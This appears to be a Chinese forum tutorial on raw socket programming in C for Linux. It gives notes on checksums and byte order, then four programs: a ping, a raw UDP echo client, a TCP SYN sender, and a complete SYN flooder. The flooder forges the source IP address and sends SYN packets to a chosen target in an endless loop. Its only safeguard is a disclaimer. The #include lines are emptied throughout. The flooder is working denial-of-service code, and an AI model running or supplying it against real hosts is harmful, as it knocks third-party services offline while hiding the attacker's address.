作者：Kevin Z. Tan(kevintz) kevintz@163.com
声明：本文仅作为技术探讨所用，对任何人使用本文里的程序所做的事，本人概不负责。本文
版权遵循GPL version 2 !!!
前几天网友genjuro_lyb转贴了一篇关于raw socket编程的文章，觉得对TCP/IP的理解有较大
用处，所以中译成《Raw socket C语言简明教程》。但这篇教程里的例子代码不完整，不利于网友
结合实践进行学习raw socket编程。所以就写了4使用个例子，现在将代码贴出来，供大家交流学习。
我在写这些代码的过程中，遇到不少问题，走了一些弯路，总结一下，为了不再重复花费大家的
精力和时间：
1、in_cksum()生成的结果不用转换成网络序。另外如果这个函数写得不正确的话，通常得不到
对方的发回包，很难调试。
2、数据转化成网络序的一个原则是：一般协议头部的short和int/long型的数据通常要转换成
网络序。运载的数据部分，如果在对方要处理的，类型为short/int/long型数据的也要转换
成网络序。如果对方不做处理，直接返回的数据部分，可以不转换成我网络序。
3、raw tcp的程序为什么只写发SYN包：因为你发了SYN包，对方发回来SYN/ACK包，你的操作系统
内核先于你的程序接收到这个包，它检查内核里的socket，发现没有一个socket对应于这个包
（因为raw tcp socket没有保存ip和端口等信息，所以内核不能识别这个包），所以发了一个
RST包给对方，于是对方的tcp socket关闭了。你的raw tcp socket最终收到这个SYN/ACK包，
你的程序做了处理后，再发ACK包给对方时，对方的tcp socket已经关闭，所以对方就发了一个
RST回来。要写一个SYN flooder就只能用raw raw socket，因为raw tcp不能自己控制IP头，所
以不能写SYN flooder，除非用了IP_HDRINCL选项和自己构造IP头部。本人对其他人使用这些程
序所做的事情不负任何责任，仅为技术交流而发布。
4、关于各种协议头的检验和产生方法。
IP：只包含IP头的检验和，不包括数据部分。
ICMP:包括ICMP头和数据。
TCP:包括一个伪协议头部和TCP头和数据。
UDP:包括一个伪协议头部和UDP头和数据。
5、raw socket发送数据和返回数据的形式：
raw icmp socket(IPPROTO_ICMP):
不用构建IP头部分，只发送ICMP头和数据。返回包括IP头和ICMP头和数据。
raw udp socket(IPPROTO_UDP):
不用构建IP头部分，只发送UDP头和数据。返回包括IP头和UDP头和数据。
raw tcp socket(IPPROTO_TCP):
不用构建IP头部分，只发送TCP头和数据。返回包括IP头和TCP头和数据。
raw raw socket(IPPROTO_RAW):
要构建IP头部和要发送的各种协议的头部和数据。返回包括IP头和相应的协议头和数据。
6、参考资料：
1、R. Stevens 《TCP/IP详解》卷一、二、三
2、R. Stevens 《Unix网络编程》卷一
3、Phrack杂志
7、编译平台：Linux。FreeBSD应该可以通过。所有程序都要root权限运行。调试raw udp程序时，
大家将/etc/inetd.conf里的echo upd服务打开就可以了，端口号是7。由于不想将篇幅变太大，
in_cksum()函数源码只出现一次，加入其他的程序里就可以了。
调试工具：tcpdump和netstat
8、大家可以改进的地方：
1)加入主机名字查询，不用每次都打IP。加入服务查询，不用打端口，用服务的名字就可以了。
2)你能想到的都可以写进去。
/* simple ping program */
#define __USE_BSD
#include
#include
#include
#include
#define __FAVOR_BSD
#include
#include
#include
#include
#include
#include
struct sockaddr_in saddr;
int rawsock;
unsigned short in_cksum(unsigned short *addr, int len)
{
int sum=0;
unsigned short res=0;
while( len > 1) {
sum += *addr++;
len -=2;
}
if( len == 1) {
*((unsigned char *)(&res))=*((unsigned char *)addr);
sum += res;
}
sum = (sum >>16) + (sum & 0xffff);
sum += (sum >>16) ;
res = ~sum;
return res;
}
void ping(int signo)
{
int len;
int i;
static unsigned short seq=0;
char buff[8192];
struct timeval tv;
struct icmp *icmph=(struct icmp *)buff;
long *data=(long *)icmph->icmp_data;
bzero(buff, 8192);
gettimeofday(&tv, NULL);
icmph->icmp_type=ICMP_ECHO;
icmph->icmp_code=0;
icmph->icmp_cksum=0;
icmph->icmp_id=0;
icmph->icmp_seq=0;
icmph->icmp_id=getpid()&0xffff;
icmph->icmp_seq=seq++;
data[0]= tv.tv_sec;
data[1]= tv.tv_usec;
for(i=8; i< 64; i++)
icmph->icmp_data[i]=(unsigned char )i;
icmph->icmp_cksum=in_cksum((unsigned short *)buff, 72);
len=sendto( rawsock, buff, 72, 0, &saddr, sizeof(saddr));
alarm(1);
}
void sigint(int signo)
{
printf("CATCH SIGINT !!!\n");
close(rawsock);
exit(0);
}
void dumppkt(char *buf, int len)
{
struct ip *iph=(struct ip *)buf;
int i=iph->ip_hl*4;
struct icmp *icmph=(struct icmp *)&buf[i];
long *data=( long*)icmph->icmp_data;
struct timeval tv;
gettimeofday(&tv, NULL);
if( icmph->icmp_type != ICMP_ECHOREPLY )
return;
if( icmph->icmp_id != (getpid()&0xffff) )
return;
printf("From %s : ttl=%d seq=%d time=%.2f ms\n",
inet_ntoa(iph->ip_src), iph->ip_ttl ,
icmph->icmp_seq,
(tv.tv_sec-data[0])*1000.0+(tv.tv_usec-data[1])/1000.0);
}
int main(int argc, char *argv[])
{
int len;
struct timeval now;
char recvbuff[8192];
if( argc != 2) {
printf("%s aaa.bbb.ccc.ddd\n", argv[0]);
exit(1);
}
rawsock=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if( rawsock < 0) {
perror("socket");
exit(1);
}
bzero( &saddr, sizeof(saddr));
saddr.sin_family=AF_INET;
if( inet_aton( argv[1], &saddr.sin_addr) < 0) {
printf("invalid IP address:%s\n", argv[1]);
exit(1);
}
signal(SIGALRM, ping);
signal(SIGINT, sigint);
alarm(1);
while(1) {
len=read(rawsock, recvbuff, 8192);
if( len < 0 && errno == EINTR)
continue;
else if( len < 0)
perror("read");
else if( len > 0 )
dumppkt(recvbuff, len);
}
close(rawsock);
exit(0);
}
/* simple ping end */
/* simple raw udp program */
#define __USE_BSD /* 使用BSD风格的结构定义 */
#include
#include
#include
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include
#include
#include
#include
#include
struct pesudo_udphdr {
unsigned int saddr, daddr;
unsigned char unused;
unsigned char protocol;
unsigned short udplen;
};
struct sockaddr_in dst;
struct sockaddr_in src;
int rawsock;
char buff[8192];
void udpecho()
{
char sendbuf[8192];
int len;
struct pesudo_udphdr *pudph=(struct pesudo_udphdr*)sendbuf;
struct udphdr *udph=(struct udphdr*)(sendbuf+sizeof(struct pesudo_udphdr
));
char *data=(char *)(udph+1);
strcpy(data, "hello,world\n");
pudph->saddr=src.sin_addr.s_addr;
pudph->daddr=dst.sin_addr.s_addr;
pudph->unused=0;
pudph->protocol=IPPROTO_UDP;
pudph->udplen=htons(8+strlen(data)+1);
udph->uh_sport=src.sin_port; /* port num already net_byte_order */
udph->uh_dport=dst.sin_port;
udph->uh_ulen=pudph->udplen;
udph->uh_sum=0;
/* include pesudo header and udp header*/
udph->uh_sum=in_cksum((unsigned short*)pudph, 12+8+strlen(data)+1);
len=sendto(rawsock, udph, 8+strlen(data)+1, 0,
(struct sockaddr *)&dst, sizeof(dst));
if( len < 0)
perror("sendto() error");
else
printf("sendto() send %d bytes\n", len);
}
void dump(char *buff, int len)
{
struct ip *iph=(struct ip *)buff;
int i=iph->ip_hl*4;
struct udphdr *udph=(struct udphdr *)&buff[i];
char *data=(char *)(udph+1);
printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n",
inet_ntoa(iph->ip_src),
ntohs(udph->uh_sport),
inet_ntoa(iph->ip_dst),
ntohs(udph->uh_dport),
len, i, ntohs(iph->ip_len)
);
printf(data);
}
void alarmsig(int a)
{
udpecho();
alarm(1);
}
int main(int argc, char *argv[])
{
int len;
if(argc != 5) {
printf("usage: %s localip localport remoteip remoteport\n",argv[0]);
exit(1);
}
if( inet_aton(argv[1], &src.sin_addr) == 0) {
printf("bad localip:%s\n", argv[1]);
exit(1);
}
if( inet_aton(argv[3], &dst.sin_addr) == 0) {
printf("bad remoteip:%s\n", argv[3]);
exit(1);
}
src.sin_port=htons(atoi(argv[2]));
dst.sin_port=htons(atoi(argv[4]));
src.sin_family=AF_INET;
dst.sin_family=AF_INET;
rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
if( rawsock < 0) {
perror("socket");
exit(1);
}
if( signal(SIGALRM, alarmsig) < 0) {
perror("signal");
exit(1);
}
alarm(1);
while( (len=read(rawsock, buff, 8192)) > 0) {
dump(buff, len);
}
close(rawsock);
exit(0);
}
/* raw udp end */
/* raw tcp syn sender */
#define __USE_BSD /* 使用BSD风格的结构定义 */
#include
#include
#include
#define __FAVOR_BSD /* use bsd'ish tcp header */
#include
#include
#include
#include
struct pesudo_tcphdr {
unsigned int saddr, daddr;
unsigned char unused;
unsigned char protocol;
unsigned short tcplen;
};
struct sockaddr_in dst;
struct sockaddr_in src;
int seq;
int rawsock;
char buff[8192];
void syn()
{
char sendbuf[8192];
int len;
struct pesudo_tcphdr *ptcph=(struct pesudo_tcphdr*)sendbuf;
struct tcphdr *tcph=(struct tcphdr*)(sendbuf+sizeof(struct pesudo_tcphdr
));
ptcph->saddr=src.sin_addr.s_addr;
ptcph->daddr=dst.sin_addr.s_addr;
ptcph->unused=0;
ptcph->protocol=IPPROTO_TCP;
ptcph->tcplen=htons(20); /* we just send header , no data */
tcph->th_sport=src.sin_port; /* port num already net_byte_order */
tcph->th_dport=dst.sin_port;
tcph->th_seq=htonl(123456);
tcph->th_ack=0;
tcph->th_x2=0;
tcph->th_off=5;
tcph->th_flags=TH_SYN;
tcph->th_win=htons(65535);
tcph->th_sum=0;
tcph->th_urp=0;
/* include pesudo header and tcp header*/
tcph->th_sum=in_cksum((unsigned short*)ptcph, 20+12);
len=sendto(rawsock, tcph, 20, 0, (struct sockaddr *)&dst, sizeof(dst));
if( len < 0)
perror("sendto() SYN error");
else
printf("sendto() SYN send %d bytes\n", len);
}
void dump(char *buff, int len)
{
struct ip *iph=(struct ip *)buff;
int i=iph->ip_hl*4;
struct tcphdr *tcph=(struct tcphdr *)&buff[i];
printf("From %s:%d to %s:%d len=%d iphdr_len=%d ip_len=%d\n",
inet_ntoa(iph->ip_src),
ntohs(tcph->th_sport),
inet_ntoa(iph->ip_dst),
ntohs(tcph->th_dport),
len, i, ntohs(iph->ip_len)
);
printf("seq: %u ack_seq:%u ",
ntohl(tcph->th_seq),
ntohl(tcph->th_ack)
);
if( tcph->th_flags & TH_SYN)
printf("SYN ");
if( tcph->th_flags & TH_ACK)
printf("ACK ");
if( tcph->th_flags & TH_FIN)
printf("FIN ");
if( tcph->th_flags & TH_RST)
printf("RST ");
if( tcph->th_flags & TH_URG)
printf("URG ");
if( tcph->th_flags & TH_PUSH)
printf("PUSH ");
printf("\n");
}
int main(int argc, char *argv[])
{
int len;
if(argc != 5) {
printf("usage: %s localip localport remoteip remoteport\n",argv[0]);
exit(1);
}
if( inet_aton(argv[1], &src.sin_addr) == 0) {
printf("bad localip:%s\n", argv[1]);
exit(1);
}
if( inet_aton(argv[3], &dst.sin_addr) == 0) {
printf("bad remoteip:%s\n", argv[3]);
exit(1);
}
src.sin_port=htons(atoi(argv[2]));
dst.sin_port=htons(atoi(argv[4]));
src.sin_family=AF_INET;
dst.sin_family=AF_INET;
rawsock=socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if( rawsock < 0) {
perror("socket");
exit(1);
}
syn();
len=read(rawsock, buff, 8192);
if( len > 0)
dump(buff, len);
else
printf("read return %d \n", len);
close(rawsock);
exit(0);
}
/* simple syn flooder !!! */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
unsigned short in_cksum(unsigned short *ptr,int nbytes);
int synflooding();
void sigint(int signo);
struct sockaddr_in target;
struct sockaddr_in pesudo;
int rawsock;
void sigint(int signo)
{
printf("catch SIGINT\n");
close(rawsock);
exit(0);
}
int main(int argc, char *argv[])
{
if( argc != 4) {
printf("usage:%s pesudoip attackip attackport\n", argv[0]);
exit(1);
}
if( inet_aton(argv[1], &pesudo.sin_addr) == 0) {
printf("bad ip address:%s\n", argv[1]);
exit(1);
}
if( inet_aton(argv[2], &target.sin_addr) == 0) {
printf("bad ip address:%s\n", argv[2]);
exit(1);
}
target.sin_port=htons(atoi(argv[3]));
signal(SIGINT, sigint);
synflooding();
exit(0);
}
int synflooding()
{
int i, j, k;
struct packet{
struct iphdr ip;
struct tcphdr tcp;
}packet;
struct pseudo_header{ /* For TCP header checksum */
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}pseudo_header;
bzero(&packet, sizeof(packet));
bzero(&pseudo_header, sizeof(pseudo_header));
if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
perror("socket()");
exit(1);
}
packet.tcp.dest=target.sin_port; /* 16-bit Destination port */
packet.tcp.ack_seq=0; /* 32-bit Acknowledgement Number */
packet.tcp.doff=5; /* Data offset */
packet.tcp.res1=0; /* reserved */
packet.tcp.res2=0; /* reserved */
packet.tcp.urg=0; /* Urgent offset valid flag */
packet.tcp.ack=0; /* Acknowledgement field valid flag */
packet.tcp.psh=0; /* Push flag */
packet.tcp.rst=0; /* Reset flag */
packet.tcp.syn=1; /* Synchronize sequence numbers flag */
packet.tcp.fin=0; /* Finish sending flag */
packet.tcp.window=htons(242); /* 16-bit Window size */
packet.tcp.urg_ptr=0; /* 16-bit urgent offset */
packet.ip.version=4; /* 4-bit Version */
packet.ip.ihl=5; /* 4-bit Header Length */
packet.ip.tos=0; /* 8-bit Type of service */
packet.ip.tot_len=htons(40); /* 16-bit Total length */
packet.ip.id=getpid(); /* 16-bit ID field */
packet.ip.frag_off=0; /* 13-bit Fragment offset */
packet.ip.ttl=255; /* 8-bit Time To Live */
packet.ip.protocol=IPPROTO_TCP; /* 8-bit Protocol */
packet.ip.check=0; /* 16-bit Header checksum (filled in below) */
packet.ip.saddr=pesudo.sin_addr.s_addr; /* 32-bit Source Address */
packet.ip.daddr=target.sin_addr.s_addr; /* 32-bit Destination Address */
packet.ip.check=in_cksum((unsigned short *)&packet.ip,20);
while(1) {
/* set src port and ISN */
packet.tcp.source=htons(1025+rand()%60000);
packet.tcp.seq=761013+rand()%100000;
packet.tcp.check=0;
pseudo_header.source_address=packet.ip.saddr;
pseudo_header.dest_address=packet.ip.daddr;
pseudo_header.placeholder=0;
pseudo_header.protocol=IPPROTO_TCP;
pseudo_header.tcp_length=htons(20);
bcopy((char *)&packet.tcp,(char *)&pseudo_header.tcp,20);
packet.tcp.check=in_cksum((unsigned short *)&pseudo_header,32);
sendto(rawsock,&packet,40,0,
(struct sockaddr *)&target,sizeof(target));
}
return 0;
}
/* syn flooder end */
